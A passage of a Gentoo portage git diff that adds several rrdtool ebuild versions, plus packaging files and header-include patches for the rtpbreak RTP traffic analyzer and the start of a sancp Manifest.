+ eautoreconf
+}
+
+src_configure() {
+ filter-flags -ffast-math
+
+ export RRDDOCDIR=${EPREFIX}/usr/share/doc/${PF}
+
+ # to solve bug #260380
+ [[ ${CHOST} == *-solaris* ]] && append-flags -D__EXTENSIONS__
+
+ # Stub configure.ac
+ local myconf=()
+ if ! use tcpd; then
+ myconf+=( "--disable-libwrap" )
+ fi
+ if ! use dbi; then
+ myconf+=( "--disable-libdbi" )
+ fi
+
+ econf \
+ $(use_enable graph rrd_graph) \
+ $(use_enable lua lua-site-install) \
+ $(use_enable lua) \
+ $(use_enable perl perl-site-install) \
+ $(use_enable perl) \
+ $(use_enable python) \
+ $(use_enable rrdcgi) \
+ $(use_enable static-libs static) \
+ $(use_enable tcl) \
+ $(use_with tcl tcllib "${EPREFIX}"/usr/$(get_libdir)) \
+ --with-perl-options=INSTALLDIRS=vendor \
+ --disable-ruby-site-install \
+ --disable-ruby \
+ ${myconf[@]}
+}
+
+src_compile() {
+ default
+
+ use python && distutils-r1_src_compile
+}
+
+src_install() {
+ default
+
+ if ! use doc ; then
+ rm -rf "${ED}"usr/share/doc/${PF}/{html,txt}
+ fi
+
+ if use !rrdcgi ; then
+ # uses rrdcgi, causes invalid shebang error in Prefix, useless
+ # without rrdcgi installed
+ rm -f "${ED}"usr/share/${PN}/examples/cgi-demo.cgi
+ fi
+
+ if use perl ; then
+ perl_delete_localpod
+ perl_delete_packlist
+ fi
+
+ dodoc CHANGES CONTRIBUTORS NEWS README THREADS TODO
+
+ find "${ED}"usr -name '*.la' -exec rm -f {} +
+
+ keepdir /var/lib/rrdcached/journal/
+ keepdir /var/lib/rrdcached/db/
+
+ newconfd "${FILESDIR}"/rrdcached.confd rrdcached
+ newinitd "${FILESDIR}"/rrdcached.init rrdcached
+
+ use python && distutils-r1_src_install
+}
+
+pkg_postinst() {
+ ewarn "Since version 1.3, rrdtool dump emits completely legal xml. Basically this"
+ ewarn "means that it contains an xml header and a DOCTYPE definition. Unfortunately"
+ ewarn "this causes older versions of rrdtool restore to be unhappy."
+ ewarn
+ ewarn "To restore a new dump with an old rrdtool restore version, either remove"
+ ewarn "the xml header and the doctype by hand (both on the first line of the dump)"
+ ewarn "or use rrdtool dump --no-header."
+ ewarn
+ ewarn ">=net-analyzer/rrdtool-1.3 does not have any default font bundled. Thus if"
+ ewarn ">you've upgraded from rrdtool-1.2.x and don't have any font installed to make"
+ ewarn ">lables visible, please, install some font, e.g. media-fonts/dejavu."
+}
diff --git a/net-analyzer/rrdtool/rrdtool-1.4.8-r3.ebuild b/net-analyzer/rrdtool/rrdtool-1.4.8-r3.ebuild
new file mode 100644
index 000000000000..e12968e8ee8d
--- /dev/null
+++ b/net-analyzer/rrdtool/rrdtool-1.4.8-r3.ebuild
@@ -0,0 +1,163 @@
+# Copyright 1999-2015 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Id$
+
+EAPI="5"
+
+DISTUTILS_OPTIONAL="true"
+GENTOO_DEPEND_ON_PERL="no"
+PYTHON_COMPAT=( python2_7 )
+inherit eutils distutils-r1 flag-o-matic multilib perl-module autotools
+
+DESCRIPTION="A system to store and display time-series data"
+HOMEPAGE="http://oss.oetiker.ch/rrdtool/"
+SRC_URI="http://oss.oetiker.ch/rrdtool/pub/${P}.tar.gz"
+
+LICENSE="GPL-2"
+SLOT="0"
+KEYWORDS="~alpha ~amd64 ~arm ~hppa ~ia64 ~mips ~ppc ~ppc64 ~s390 ~sh ~sparc ~x86 ~x86-fbsd ~amd64-linux ~ia64-linux ~x86-linux ~x86-macos ~x86-solaris"
+IUSE="dbi doc graph lua perl python rrdcgi ruby static-libs tcl tcpd"
+
+CDEPEND="
+ >=dev-libs/glib-2.28.7:2[static-libs(+)?]
+ >=dev-libs/libxml2-2.7.8:2[static-libs(+)?]
+ dbi? ( dev-db/libdbi[static-libs(+)?] )
+ graph? (
+ >=media-libs/libpng-1.5.10:0=[static-libs(+)?]
+ >=x11-libs/cairo-1.10.2[svg,static-libs(+)?]
+ >=x11-libs/pango-1.28
+ )
+ lua? ( dev-lang/lua:*[deprecated] )
+ perl? ( dev-lang/perl:= )
+ python? ( ${PYTHON_DEPS} )
+ tcl? ( dev-lang/tcl:0= )
+ tcpd? ( sys-apps/tcp-wrappers )
+"
+
+DEPEND="
+ ${CDEPEND}
+ sys-apps/groff
+ virtual/pkgconfig
+ virtual/awk
+"
+RDEPEND="
+ ${CDEPEND}
+"
+PDEPEND="
+ ruby? ( dev-ruby/rrdtool-bindings )
+"
+
+python_compile() {
+ cd bindings/python || die
+ distutils-r1_python_compile
+}
+
+python_install() {
+ cd bindings/python || die
+ distutils-r1_python_install
+}
+
+src_prepare() {
+ epatch \
+ "${FILESDIR}"/${PN}-1.4.7-configure.ac.patch \
+ "${FILESDIR}"/${P}-disable-rrd_graph.patch
+
+ # bug 456810
+ # no time to sleep
+ sed -i \
+ -e 's|$LUA_CFLAGS|IGNORE_THIS_BAD_TEST|g' \
+ -e 's|^sleep 1$||g' \
+ configure.ac || die
+
+ # Python bindings are built/installed manually
+ sed -i \
+ -e '/^all-local:/s| @COMP_PYTHON@||' \
+ bindings/Makefile.am || die
+
+ eautoreconf
+}
+
+src_configure() {
+ filter-flags -ffast-math
+
+ export RRDDOCDIR=${EPREFIX}/usr/share/doc/${PF}
+
+ # to solve bug #260380
+ [[ ${CHOST} == *-solaris* ]] && append-flags -D__EXTENSIONS__
+
+ # Stub configure.ac
+ local myconf=()
+ if ! use tcpd; then
+ myconf+=( "--disable-libwrap" )
+ fi
+ if ! use dbi; then
+ myconf+=( "--disable-libdbi" )
+ fi
+
+ econf \
+ $(use_enable graph rrd_graph) \
+ $(use_enable lua lua-site-install) \
+ $(use_enable lua) \
+ $(use_enable perl perl-site-install) \
+ $(use_enable perl) \
+ $(use_enable python) \
+ $(use_enable rrdcgi) \
+ $(use_enable static-libs static) \
+ $(use_enable tcl) \
+ $(use_with tcl tcllib "${EPREFIX}"/usr/$(get_libdir)) \
+ --with-perl-options=INSTALLDIRS=vendor \
+ --disable-ruby-site-install \
+ --disable-ruby \
+ ${myconf[@]}
+}
+
+src_compile() {
+ default
+
+ use python && distutils-r1_src_compile
+}
+
+src_install() {
+ default
+
+ if ! use doc ; then
+ rm -rf "${ED}"usr/share/doc/${PF}/{html,txt}
+ fi
+
+ if use !rrdcgi ; then
+ # uses rrdcgi, causes invalid shebang error in Prefix, useless
+ # without rrdcgi installed
+ rm -f "${ED}"usr/share/${PN}/examples/cgi-demo.cgi
+ fi
+
+ if use perl ; then
+ perl_delete_localpod
+ perl_delete_packlist
+ fi
+
+ dodoc CHANGES CONTRIBUTORS NEWS README THREADS TODO
+
+ find "${ED}"usr -name '*.la' -exec rm -f {} +
+
+ keepdir /var/lib/rrdcached/journal/
+ keepdir /var/lib/rrdcached/db/
+
+ newconfd "${FILESDIR}"/rrdcached.confd rrdcached
+ newinitd "${FILESDIR}"/rrdcached.init rrdcached
+
+ use python && distutils-r1_src_install
+}
+
+pkg_postinst() {
+ ewarn "Since version 1.3, rrdtool dump emits completely legal xml. Basically this"
+ ewarn "means that it contains an xml header and a DOCTYPE definition. Unfortunately"
+ ewarn "this causes older versions of rrdtool restore to be unhappy."
+ ewarn
+ ewarn "To restore a new dump with an old rrdtool restore version, either remove"
+ ewarn "the xml header and the doctype by hand (both on the first line of the dump)"
+ ewarn "or use rrdtool dump --no-header."
+ ewarn
+ ewarn ">=net-analyzer/rrdtool-1.3 does not have any default font bundled. Thus if"
+ ewarn ">you've upgraded from rrdtool-1.2.x and don't have any font installed to make"
+ ewarn ">lables visible, please, install some font, e.g. media-fonts/dejavu."
+}
diff --git a/net-analyzer/rrdtool/rrdtool-1.4.9.ebuild b/net-analyzer/rrdtool/rrdtool-1.4.9.ebuild
new file mode 100644
index 000000000000..057615f37d1f
--- /dev/null
+++ b/net-analyzer/rrdtool/rrdtool-1.4.9.ebuild
@@ -0,0 +1,166 @@
+# Copyright 1999-2015 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Id$
+
+EAPI="5"
+
+DISTUTILS_OPTIONAL="true"
+GENTOO_DEPEND_ON_PERL="no"
+PYTHON_COMPAT=( python2_7 )
+inherit eutils distutils-r1 flag-o-matic multilib perl-module autotools
+
+DESCRIPTION="A system to store and display time-series data"
+HOMEPAGE="http://oss.oetiker.ch/rrdtool/"
+SRC_URI="http://oss.oetiker.ch/rrdtool/pub/${P}.tar.gz"
+
+LICENSE="GPL-2"
+SLOT="0"
+KEYWORDS="~alpha ~amd64 ~arm ~hppa ~ia64 ~mips ~ppc ~ppc64 ~s390 ~sh ~sparc ~x86 ~x86-fbsd ~amd64-linux ~ia64-linux ~x86-linux ~x86-macos ~x86-solaris"
+IUSE="dbi doc graph lua perl python rrdcgi ruby static-libs tcl tcpd"
+
+CDEPEND="
+ >=dev-libs/glib-2.28.7:2[static-libs(+)?]
+ >=dev-libs/libxml2-2.7.8:2[static-libs(+)?]
+ dbi? ( dev-db/libdbi[static-libs(+)?] )
+ graph? (
+ >=media-libs/libpng-1.5.10:0=[static-libs(+)?]
+ >=x11-libs/cairo-1.10.2[svg,static-libs(+)?]
+ >=x11-libs/pango-1.28
+ )
+ lua? ( dev-lang/lua:*[deprecated] )
+ perl? ( dev-lang/perl:= )
+ python? ( ${PYTHON_DEPS} )
+ tcl? ( dev-lang/tcl:0= )
+ tcpd? ( sys-apps/tcp-wrappers )
+"
+
+DEPEND="
+ ${CDEPEND}
+ sys-apps/groff
+ virtual/pkgconfig
+ virtual/awk
+"
+RDEPEND="
+ ${CDEPEND}
+"
+PDEPEND="
+ ruby? ( ~dev-ruby/rrdtool-bindings-${PV} )
+"
+
+python_compile() {
+ cd bindings/python || die
+ distutils-r1_python_compile
+}
+
+python_install() {
+ cd bindings/python || die
+ distutils-r1_python_install
+}
+
+src_prepare() {
+ epatch \
+ "${FILESDIR}"/${PN}-1.4.7-configure.ac.patch \
+ "${FILESDIR}"/${PN}-1.4.9-disable-rrd_graph-cgi.patch \
+ "${FILESDIR}"/${PN}-1.4.9-disable-rrd_graph-perl.patch \
+ "${FILESDIR}"/${PN}-1.4.9-disable-rrd_graph-lua.patch \
+ "${FILESDIR}"/${PN}-1.4.9-disable-rrd_graph-python.patch
+
+ # bug 456810
+ # no time to sleep
+ sed -i \
+ -e 's|$LUA_CFLAGS|IGNORE_THIS_BAD_TEST|g' \
+ -e 's|^sleep 1$||g' \
+ configure.ac || die
+
+ # Python bindings are built/installed manually
+ sed -i \
+ -e '/^all-local:/s| @COMP_PYTHON@||' \
+ bindings/Makefile.am || die
+
+ eautoreconf
+}
+
+src_configure() {
+ filter-flags -ffast-math
+
+ export RRDDOCDIR=${EPREFIX}/usr/share/doc/${PF}
+
+ # to solve bug #260380
+ [[ ${CHOST} == *-solaris* ]] && append-flags -D__EXTENSIONS__
+
+ # Stub configure.ac
+ local myconf=()
+ if ! use tcpd; then
+ myconf+=( "--disable-libwrap" )
+ fi
+ if ! use dbi; then
+ myconf+=( "--disable-libdbi" )
+ fi
+
+ econf \
+ $(use_enable graph rrd_graph) \
+ $(use_enable lua lua-site-install) \
+ $(use_enable lua) \
+ $(use_enable perl perl-site-install) \
+ $(use_enable perl) \
+ $(use_enable python) \
+ $(use_enable rrdcgi) \
+ $(use_enable static-libs static) \
+ $(use_enable tcl) \
+ $(use_with tcl tcllib "${EPREFIX}"/usr/$(get_libdir)) \
+ --with-perl-options=INSTALLDIRS=vendor \
+ --disable-ruby-site-install \
+ --disable-ruby \
+ ${myconf[@]}
+}
+
+src_compile() {
+ default
+
+ use python && distutils-r1_src_compile
+}
+
+src_install() {
+ default
+
+ if ! use doc ; then
+ rm -rf "${ED}"usr/share/doc/${PF}/{html,txt}
+ fi
+
+ if use !rrdcgi ; then
+ # uses rrdcgi, causes invalid shebang error in Prefix, useless
+ # without rrdcgi installed
+ rm -f "${ED}"usr/share/${PN}/examples/cgi-demo.cgi
+ fi
+
+ if use perl ; then
+ perl_delete_localpod
+ perl_delete_packlist
+ fi
+
+ dodoc CHANGES CONTRIBUTORS NEWS README THREADS TODO
+
+ find "${ED}"usr -name '*.la' -exec rm -f {} +
+
+ keepdir /var/lib/rrdcached/journal/
+ keepdir /var/lib/rrdcached/db/
+
+ newconfd "${FILESDIR}"/rrdcached.confd rrdcached
+ newinitd "${FILESDIR}"/rrdcached.init rrdcached
+
+ use python && distutils-r1_src_install
+}
+
+pkg_postinst() {
+ ewarn "Since version 1.3, rrdtool dump emits completely legal xml. Basically this"
+ ewarn "means that it contains an xml header and a DOCTYPE definition. Unfortunately"
+ ewarn "this causes older versions of rrdtool restore to be unhappy."
+ ewarn
+ ewarn "To restore a new dump with an old rrdtool restore version, either remove"
+ ewarn "the xml header and the doctype by hand (both on the first line of the dump)"
+ ewarn "or use rrdtool dump --no-header."
+ ewarn
+ ewarn ">=net-analyzer/rrdtool-1.3 does not have any default font bundled. Thus if"
+ ewarn ">you've upgraded from rrdtool-1.2.x and don't have any font installed to make"
+ ewarn ">lables visible, please, install some font, e.g. media-fonts/dejavu."
+}
diff --git a/net-analyzer/rrdtool/rrdtool-1.5.3-r1.ebuild b/net-analyzer/rrdtool/rrdtool-1.5.3-r1.ebuild
new file mode 100644
index 000000000000..3e6efe53d62d
--- /dev/null
+++ b/net-analyzer/rrdtool/rrdtool-1.5.3-r1.ebuild
@@ -0,0 +1,188 @@
+# Copyright 1999-2015 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Id$
+
+EAPI="5"
+
+DISTUTILS_OPTIONAL=true
+DISTUTILS_SINGLE_IMPL=true
+GENTOO_DEPEND_ON_PERL=no
+PYTHON_COMPAT=( python2_7 )
+inherit autotools eutils perl-module distutils-r1 flag-o-matic multilib
+
+DESCRIPTION="A system to store and display time-series data"
+HOMEPAGE="http://oss.oetiker.ch/rrdtool/"
+SRC_URI="http://oss.oetiker.ch/rrdtool/pub/${P/_/-}.tar.gz"
+
+LICENSE="GPL-2"
+SLOT="0"
+KEYWORDS="~amd64 ~arm ~hppa ~mips ~ppc ~ppc64 ~s390 ~sh ~x86 ~x86-fbsd ~amd64-linux ~ia64-linux ~x86-linux ~x86-macos ~x86-solaris"
+IUSE="dbi doc graph lua perl python rados rrdcgi ruby static-libs tcl tcpd"
+REQUIRED_USE="python? ( ${PYTHON_REQUIRED_USE} )"
+
+CDEPEND="
+ >=dev-libs/glib-2.28.7:2[static-libs(+)?]
+ >=dev-libs/libxml2-2.7.8:2[static-libs(+)?]
+ dbi? ( dev-db/libdbi[static-libs(+)?] )
+ graph? (
+ >=media-libs/libpng-1.5.10:0=[static-libs(+)?]
+ >=x11-libs/cairo-1.10.2[svg,static-libs(+)?]
+ >=x11-libs/pango-1.28
+ )
+ lua? ( dev-lang/lua:*[deprecated] )
+ perl? ( dev-lang/perl:= )
+ python? ( ${PYTHON_DEPS} )
+ rados? ( sys-cluster/ceph )
+ tcl? ( dev-lang/tcl:0= )
+ tcpd? ( sys-apps/tcp-wrappers )
+"
+
+DEPEND="
+ ${CDEPEND}
+ sys-apps/groff
+ virtual/pkgconfig
+ virtual/awk
+"
+RDEPEND="
+ ${CDEPEND}
+"
+PDEPEND="
+ ruby? ( ~dev-ruby/rrdtool-bindings-${PV} )
+"
+
+S=${WORKDIR}/${P/_/-}
+
+python_compile() {
+ cd bindings/python || die
+ distutils-r1_python_compile
+}
+
+python_install() {
+ cd bindings/python || die
+ distutils-r1_python_install
+}
+
+pkg_setup() {
+ use python && python-single-r1_pkg_setup
+}
+
+src_prepare() {
+ # At the next version bump, please see if you actually still need these
+ # before adding versions
+ cp "${FILESDIR}"/${P}-rrd_rados.h src/rrd_rados.h || die
+ cp "${FILESDIR}"/${P}-rrdrados.pod doc/rrdrados.pod || die
+
+ epatch \
+ "${FILESDIR}"/${PN}-1.4.7-configure.ac.patch \
+ "${FILESDIR}"/${PN}-1.4.9-disable-rrd_graph-cgi.patch \
+ "${FILESDIR}"/${PN}-1.4.9-disable-rrd_graph-perl.patch \
+ "${FILESDIR}"/${PN}-1.5.0_rc1-disable-rrd_graph-lua.patch \
+ "${FILESDIR}"/${PN}-1.5.0_rc1-disable-rrd_graph-python.patch
+
+ # bug 456810
+ # no time to sleep
+ sed -i \
+ -e 's|$LUA_CFLAGS|IGNORE_THIS_BAD_TEST|g' \
+ -e 's|^sleep 1$||g' \
+ -e '/^dnl.*png/s|^dnl||g' \
+ configure.ac || die
+
+ # Python bindings are built/installed manually
+ sed -i \
+ -e '/^all-local:/s| @COMP_PYTHON@||' \
+ bindings/Makefile.am || die
+
+ echo ${PV/_rc*/} >> VERSION || die
+
+ export rd_cv_gcc_flag__Werror=no
+
+ eautoreconf
+}
+
+src_configure() {
+ filter-flags -ffast-math
+
+ export RRDDOCDIR=${EPREFIX}/usr/share/doc/${PF}
+
+ # to solve bug #260380
+ [[ ${CHOST} == *-solaris* ]] && append-flags -D__EXTENSIONS__
+
+ # Stub configure.ac
+ local myconf=()
+ if ! use tcpd; then
+ myconf+=( "--disable-libwrap" )
+ fi
+ if ! use dbi; then
+ myconf+=( "--disable-libdbi" )
+ fi
+ if ! use rados; then
+ myconf+=( "--disable-librados" )
+ fi
+
+ econf \
+ $(use_enable graph rrd_graph) \
+ $(use_enable lua lua-site-install) \
+ $(use_enable lua) \
+ $(use_enable perl perl-site-install) \
+ $(use_enable perl) \
+ $(use_enable python) \
+ $(use_enable rrdcgi) \
+ $(use_enable static-libs static) \
+ $(use_enable tcl) \
+ $(use_with tcl tcllib "${EPREFIX}"/usr/$(get_libdir)) \
+ --with-perl-options=INSTALLDIRS=vendor \
+ --disable-ruby-site-install \
+ --disable-ruby \
+ ${myconf[@]}
+}
+
+src_compile() {
+ default
+
+ use python && distutils-r1_src_compile
+}
+
+src_install() {
+ default
+
+ if ! use doc ; then
+ rm -rf "${ED}"usr/share/doc/${PF}/{html,txt}
+ fi
+
+ if use !rrdcgi ; then
+ # uses rrdcgi, causes invalid shebang error in Prefix, useless
+ # without rrdcgi installed
+ rm -f "${ED}"usr/share/${PN}/examples/cgi-demo.cgi
+ fi
+
+ if use perl ; then
+ perl_delete_localpod
+ perl_delete_packlist
+ fi
+
+ dodoc CHANGES CONTRIBUTORS NEWS THREADS TODO
+
+ find "${ED}"usr -name '*.la' -exec rm -f {} +
+
+ keepdir /var/lib/rrdcached/journal/
+ keepdir /var/lib/rrdcached/db/
+
+ newconfd "${FILESDIR}"/rrdcached.confd rrdcached
+ newinitd "${FILESDIR}"/rrdcached.init rrdcached
+
+ use python && distutils-r1_src_install
+}
+
+pkg_postinst() {
+ ewarn "Since version 1.3, rrdtool dump emits completely legal xml. Basically this"
+ ewarn "means that it contains an xml header and a DOCTYPE definition. Unfortunately"
+ ewarn "this causes older versions of rrdtool restore to be unhappy."
+ ewarn
+ ewarn "To restore a new dump with an old rrdtool restore version, either remove"
+ ewarn "the xml header and the doctype by hand (both on the first line of the dump)"
+ ewarn "or use rrdtool dump --no-header."
+ ewarn
+ ewarn ">=net-analyzer/rrdtool-1.3 does not have any default font bundled. Thus if"
+ ewarn ">you've upgraded from rrdtool-1.2.x and don't have any font installed to make"
+ ewarn ">lables visible, please, install some font, e.g. media-fonts/dejavu."
+}
diff --git a/net-analyzer/rrdtool/rrdtool-1.5.3.ebuild b/net-analyzer/rrdtool/rrdtool-1.5.3.ebuild
new file mode 100644
index 000000000000..67a517eb68e9
--- /dev/null
+++ b/net-analyzer/rrdtool/rrdtool-1.5.3.ebuild
@@ -0,0 +1,175 @@
+# Copyright 1999-2015 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Id$
+
+EAPI="5"
+
+DISTUTILS_OPTIONAL=true
+DISTUTILS_SINGLE_IMPL=true
+GENTOO_DEPEND_ON_PERL=no
+PYTHON_COMPAT=( python2_7 )
+inherit autotools eutils perl-module distutils-r1 flag-o-matic multilib
+
+DESCRIPTION="A system to store and display time-series data"
+HOMEPAGE="http://oss.oetiker.ch/rrdtool/"
+SRC_URI="http://oss.oetiker.ch/rrdtool/pub/${P/_/-}.tar.gz"
+
+LICENSE="GPL-2"
+SLOT="0"
+KEYWORDS="~alpha ~amd64 ~arm ~hppa ~ia64 ~mips ~ppc ~ppc64 ~s390 ~sh ~sparc ~x86 ~x86-fbsd ~amd64-linux ~ia64-linux ~x86-linux ~x86-macos ~x86-solaris"
+IUSE="dbi doc graph lua perl python rrdcgi ruby static-libs tcl tcpd"
+
+CDEPEND="
+ >=dev-libs/glib-2.28.7:2[static-libs(+)?]
+ >=dev-libs/libxml2-2.7.8:2[static-libs(+)?]
+ dbi? ( dev-db/libdbi[static-libs(+)?] )
+ graph? (
+ >=media-libs/libpng-1.5.10:0=[static-libs(+)?]
+ >=x11-libs/cairo-1.10.2[svg,static-libs(+)?]
+ >=x11-libs/pango-1.28
+ )
+ lua? ( dev-lang/lua:*[deprecated] )
+ perl? ( dev-lang/perl:= )
+ python? ( ${PYTHON_DEPS} )
+ tcl? ( dev-lang/tcl:0= )
+ tcpd? ( sys-apps/tcp-wrappers )
+"
+
+DEPEND="
+ ${CDEPEND}
+ sys-apps/groff
+ virtual/pkgconfig
+ virtual/awk
+"
+RDEPEND="
+ ${CDEPEND}
+"
+PDEPEND="
+ ruby? ( ~dev-ruby/rrdtool-bindings-${PV} )
+"
+
+S=${WORKDIR}/${P/_/-}
+
+python_compile() {
+ cd bindings/python || die
+ distutils-r1_python_compile
+}
+
+python_install() {
+ cd bindings/python || die
+ distutils-r1_python_install
+}
+
+src_prepare() {
+ epatch \
+ "${FILESDIR}"/${PN}-1.4.7-configure.ac.patch \
+ "${FILESDIR}"/${PN}-1.4.9-disable-rrd_graph-cgi.patch \
+ "${FILESDIR}"/${PN}-1.4.9-disable-rrd_graph-perl.patch \
+ "${FILESDIR}"/${PN}-1.5.0_rc1-disable-rrd_graph-lua.patch \
+ "${FILESDIR}"/${PN}-1.5.0_rc1-disable-rrd_graph-python.patch
+
+ # bug 456810
+ # no time to sleep
+ sed -i \
+ -e 's|$LUA_CFLAGS|IGNORE_THIS_BAD_TEST|g' \
+ -e 's|^sleep 1$||g' \
+ -e '/^dnl.*png/s|^dnl||g' \
+ configure.ac || die
+
+ # Python bindings are built/installed manually
+ sed -i \
+ -e '/^all-local:/s| @COMP_PYTHON@||' \
+ bindings/Makefile.am || die
+
+ echo ${PV/_rc*/} >> VERSION || die
+
+ export rd_cv_gcc_flag__Werror=no
+
+ eautoreconf
+}
+
+src_configure() {
+ filter-flags -ffast-math
+
+ export RRDDOCDIR=${EPREFIX}/usr/share/doc/${PF}
+
+ # to solve bug #260380
+ [[ ${CHOST} == *-solaris* ]] && append-flags -D__EXTENSIONS__
+
+ # Stub configure.ac
+ local myconf=()
+ if ! use tcpd; then
+ myconf+=( "--disable-libwrap" )
+ fi
+ if ! use dbi; then
+ myconf+=( "--disable-libdbi" )
+ fi
+
+ econf \
+ $(use_enable graph rrd_graph) \
+ $(use_enable lua lua-site-install) \
+ $(use_enable lua) \
+ $(use_enable perl perl-site-install) \
+ $(use_enable perl) \
+ $(use_enable python) \
+ $(use_enable rrdcgi) \
+ $(use_enable static-libs static) \
+ $(use_enable tcl) \
+ $(use_with tcl tcllib "${EPREFIX}"/usr/$(get_libdir)) \
+ --with-perl-options=INSTALLDIRS=vendor \
+ --disable-librados \
+ --disable-ruby-site-install \
+ --disable-ruby \
+ ${myconf[@]}
+}
+
+src_compile() {
+ default
+
+ use python && distutils-r1_src_compile
+}
+
+src_install() {
+ default
+
+ if ! use doc ; then
+ rm -rf "${ED}"usr/share/doc/${PF}/{html,txt}
+ fi
+
+ if use !rrdcgi ; then
+ # uses rrdcgi, causes invalid shebang error in Prefix, useless
+ # without rrdcgi installed
+ rm -f "${ED}"usr/share/${PN}/examples/cgi-demo.cgi
+ fi
+
+ if use perl ; then
+ perl_delete_localpod
+ perl_delete_packlist
+ fi
+
+ dodoc CHANGES CONTRIBUTORS NEWS THREADS TODO
+
+ find "${ED}"usr -name '*.la' -exec rm -f {} +
+
+ keepdir /var/lib/rrdcached/journal/
+ keepdir /var/lib/rrdcached/db/
+
+ newconfd "${FILESDIR}"/rrdcached.confd rrdcached
+ newinitd "${FILESDIR}"/rrdcached.init rrdcached
+
+ use python && distutils-r1_src_install
+}
+
+pkg_postinst() {
+ ewarn "Since version 1.3, rrdtool dump emits completely legal xml. Basically this"
+ ewarn "means that it contains an xml header and a DOCTYPE definition. Unfortunately"
+ ewarn "this causes older versions of rrdtool restore to be unhappy."
+ ewarn
+ ewarn "To restore a new dump with an old rrdtool restore version, either remove"
+ ewarn "the xml header and the doctype by hand (both on the first line of the dump)"
+ ewarn "or use rrdtool dump --no-header."
+ ewarn
+ ewarn ">=net-analyzer/rrdtool-1.3 does not have any default font bundled. Thus if"
+ ewarn ">you've upgraded from rrdtool-1.2.x and don't have any font installed to make"
+ ewarn ">lables visible, please, install some font, e.g. media-fonts/dejavu."
+}
diff --git a/net-analyzer/rtpbreak/Manifest b/net-analyzer/rtpbreak/Manifest
new file mode 100644
index 000000000000..a02dcf49f213
--- /dev/null
+++ b/net-analyzer/rtpbreak/Manifest
@@ -0,0 +1 @@
+DIST rtpbreak-1.3a.tgz 41355 SHA256 9ec7276e3775c13306bcf90ba573cfb77b8162a18f90d5805a3c5a288f4466f8 SHA512 abe0329f91a8c76d4fab5589d834e19615457fe1c5cdb410ce2f6fbf871b750cf917a92a979b92aaf5f0a2644fa4f4dc4ca7e53fb46d71c8fa016a7f41efe5ad WHIRLPOOL be2e60ba09a0b939dd4eac9837e1d2e6aebc7bc6d176879519e39695ae2ed499bd1952983c0e2392b19e5e784a65fda54ea36d32e9c8b76d32330856d515d88b
diff --git a/net-analyzer/rtpbreak/files/rtpbreak-1.3a-limits.patch b/net-analyzer/rtpbreak/files/rtpbreak-1.3a-limits.patch
new file mode 100644
index 000000000000..78cb5f9a5a78
--- /dev/null
+++ b/net-analyzer/rtpbreak/files/rtpbreak-1.3a-limits.patch
@@ -0,0 +1,10 @@
+--- rtpbreak-1.3a/src/common.h.orig 2009-02-05 14:49:50.000000000 +0100
++++ rtpbreak-1.3a/src/common.h 2009-02-05 14:49:57.000000000 +0100
+@@ -30,6 +30,7 @@
+ #include <stdio.h>
+ #include <string.h>
+ #include <errno.h>
++#include <limits.h>
+
+
+ /* const */
diff --git a/net-analyzer/rtpbreak/files/rtpbreak-1.3a-missing-headers.patch b/net-analyzer/rtpbreak/files/rtpbreak-1.3a-missing-headers.patch
new file mode 100644
index 000000000000..8f9bb14e37cd
--- /dev/null
+++ b/net-analyzer/rtpbreak/files/rtpbreak-1.3a-missing-headers.patch
@@ -0,0 +1,14 @@
+Fix build failure due to missing include of udp.h #351602
+
+Patch by Kevin McCarthy <signals@gentoo.org>
+
+--- rtpbreak-1.3a.orig/src/main.c 2011-01-29 11:10:46.960653580 -0500
++++ rtpbreak-1.3a/src/main.c 2011-01-29 11:15:15.833884433 -0500
+@@ -27,6 +27,7 @@
+ #include <sys/stat.h>
+ #include <pwd.h>
+ #include <grp.h>
++#include <netinet/udp.h>
+ #include "queue.h"
+ #include "rtp.h"
+ #include "common.h"
diff --git a/net-analyzer/rtpbreak/metadata.xml b/net-analyzer/rtpbreak/metadata.xml
new file mode 100644
index 000000000000..ff62877c67ae
--- /dev/null
+++ b/net-analyzer/rtpbreak/metadata.xml
@@ -0,0 +1,7 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE pkgmetadata SYSTEM "http://www.gentoo.org/dtd/metadata.dtd">
+<pkgmetadata>
+<maintainer>
+ <email>maintainer-needed@gentoo.org</email>
+</maintainer>
+</pkgmetadata>
diff --git a/net-analyzer/rtpbreak/rtpbreak-1.3a-r1.ebuild b/net-analyzer/rtpbreak/rtpbreak-1.3a-r1.ebuild
new file mode 100644
index 000000000000..de69666fdfb7
--- /dev/null
+++ b/net-analyzer/rtpbreak/rtpbreak-1.3a-r1.ebuild
@@ -0,0 +1,37 @@
+# Copyright 1999-2014 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Id$
+
+EAPI=5
+
+inherit eutils toolchain-funcs
+
+DESCRIPTION="Detects, reconstructs and analyzes any RTP session through heuristics over the UDP network traffic"
+HOMEPAGE="http://xenion.reactive-search.com/?page_id=7"
+SRC_URI="http://xenion.antifork.org/rtpbreak/${P}.tgz"
+
+LICENSE="GPL-2"
+SLOT="0"
+KEYWORDS="~amd64 ~x86"
+IUSE=""
+
+DEPEND="net-libs/libnet:1.1
+ >=net-libs/libpcap-0.7"
+
+RDEPEND="${DEPEND}"
+
+src_prepare() {
+ # Use limits.h PATH_MAX
+ epatch "${FILESDIR}"/${P}-limits.patch \
+ "${FILESDIR}"/${P}-missing-headers.patch
+}
+
+src_compile() {
+ emake CC="$(tc-getCC)" CFLAGS="${CFLAGS}" LDFLAGS="${LDFLAGS}"
+}
+
+src_install() {
+ dobin src/rtpbreak
+ dodoc CHANGELOG THANKS
+ dohtml -r doc
+}
diff --git a/net-analyzer/sancp/Manifest b/net-analyzer/sancp/Manifest
new file mode 100644
index 000000000000..bf4a4e7d4621
--- /dev/null
+++ b/net-analyzer/sancp/Manifest
@@ -0,0 +1,5 @@
+DIST sancp-1.6.1.fix200511.a.patch 662 SHA256 f80ea77873f03de40399c2c9247590829f02421d68758425cd139c48151eb13c SHA512 87662d9ea863a3a2468b7b64c81a191d34c81348eab9374245a73d3ed63cf2f25df54561f092f3713d516d9cc4eb553d4d7286fd920676a301e61669a023142e WHIRLPOOL b5881305d4dc85410fe00c23f5a923e4a41aaf570e0085035a6e9208ab55eb2cd3d99df0dff8a475c772ee332ea5ba1b3600d441f6914f4ceccb82d4b6f0def8
